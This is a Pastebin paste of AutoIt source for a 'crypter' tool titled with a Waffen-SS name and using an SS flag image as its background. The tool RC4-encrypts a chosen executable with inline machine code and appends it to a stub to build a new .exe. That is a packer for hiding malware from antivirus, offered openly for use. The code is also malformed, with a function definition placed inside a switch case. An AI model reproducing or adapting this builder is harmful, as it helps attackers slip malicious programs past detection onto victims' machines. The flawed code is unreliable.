Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <ButtonConstants.au3>
- #include <EditConstants.au3>
- #include <GUIConstantsEx.au3>
- #include <StaticConstants.au3>
- #include <WindowsConstants.au3>
- #include <Sound.au3>
- #Region ### START Koda GUI section ### Form=c:\documents and settings\eu\meus documentos\form1.kxf
- $Form1_1 = GUICreate("Waffen SS crypter by Rudeb0y777 ", 709, 381, 209, 113)
- $Button1 = GUICtrlCreateButton("Abrir", 104, 160, 139, 65)
- GUICtrlSetFont(-1, 12, 800, 0, "Algerian")
- GUICtrlSetColor(-1, 0x0000FF)
- GUICtrlSetBkColor(-1, 0xD4D0C8)
- $Button2 = GUICtrlCreateButton("Encriptar", 368, 160, 147, 65)
- GUICtrlSetFont(-1, 12, 800, 0, "Algerian")
- GUICtrlSetColor(-1, 0x0000FF)
- GUICtrlSetBkColor(-1, 0xD4D0C8)
- $Input1 = GUICtrlCreateInput("Arquivo...", 120, 112, 401, 21)
- $Pic1 = GUICtrlCreatePic("C:\Documents and Settings\Eu\Meus documentos\Meus documentos\Downloads\fotos variadas\waffen-ss-flag2.JPG", 0, 0, 705, 377, BitOR($SS_NOTIFY,$WS_GROUP,$WS_CLIPSIBLINGS))
- SoundPlay(@WindowsDir & "nova pasta\teste.mp3", 1)
- SoundSetWaveVolume(100)
- GUISetState(@SW_SHOW)
- #EndRegion ### END Koda GUI section ###
- While 1
- $nMsg = GUIGetMsg()
- Switch $nMsg
- Case $GUI_EVENT_CLOSE
- Exit
- Case $Form1_1
- Case $Button1
- GUICtrlSetData($Input1, FileOpenDialog("Selecione o arquivo para encriptar", @DesktopDir, "Executáveis(*.exe)"))
- Case $Button2
- if GuiCtrlRead($Input1) = "" then return
- $stub = FileOpen(@ScriptDir & "\stub.exe" , 16)
- $arquivo2 = FileOpen(GuiCtrlRead($Input1), 16)
- $st = FileRead($stub)
- $ar = FileRead($arquivo2)
- $ar = _RC4($ar, "key")
- Func _RC4($DATA, $KEY)
- Local $OPCODE = "0xC81001006A006A005356578B551031C989C84989D7F2AE484829C88945F085C00F84DC000000B90001000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0000008945F48B75FC8A8435F0FEFFFF8B7DF486843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025FF0000008985ECFEFFFF89D80385ECFEFFFF0FB6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5ECFEFFFF8A0689DF03BDE8FEFFFF860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000"
- Local $CODEBUFFER = DllStructCreate("byte[" & BinaryLen($OPCODE) & "]")
- DllStructSetData($CODEBUFFER, 1, $OPCODE)
- Local $BUFFER = DllStructCreate("byte[" & BinaryLen($DATA) & "]")
- DllStructSetData($BUFFER, 1, $DATA)
- DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($CODEBUFFER), "ptr", DllStructGetPtr($BUFFER), "int", BinaryLen($DATA), "str", $KEY, "int", 0)
- Local $RET = DllStructGetData($BUFFER, 1)
- $BUFFER = 0
- $CODEBUFFER = 0
- Return $RET
- EndFunc
- $salvar = FileOpen(FileSaveDialog("Salvar Como...", @DesktopDir, "Executáveis(*.exe)") & ".exe", 18)
- FileWrite($salvar, $st)
- FileWrite($salvar, StringToBinary("xfalkedh"))
- FileWrite($salvar, $ar)
- FileClose($stub)
- FileClose($Input1)
- FileClose($Salvar)
- MsgBox(64, "Encriptado!!!", "By Rud3b0y777")
- EndSwitch
- WEnd
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement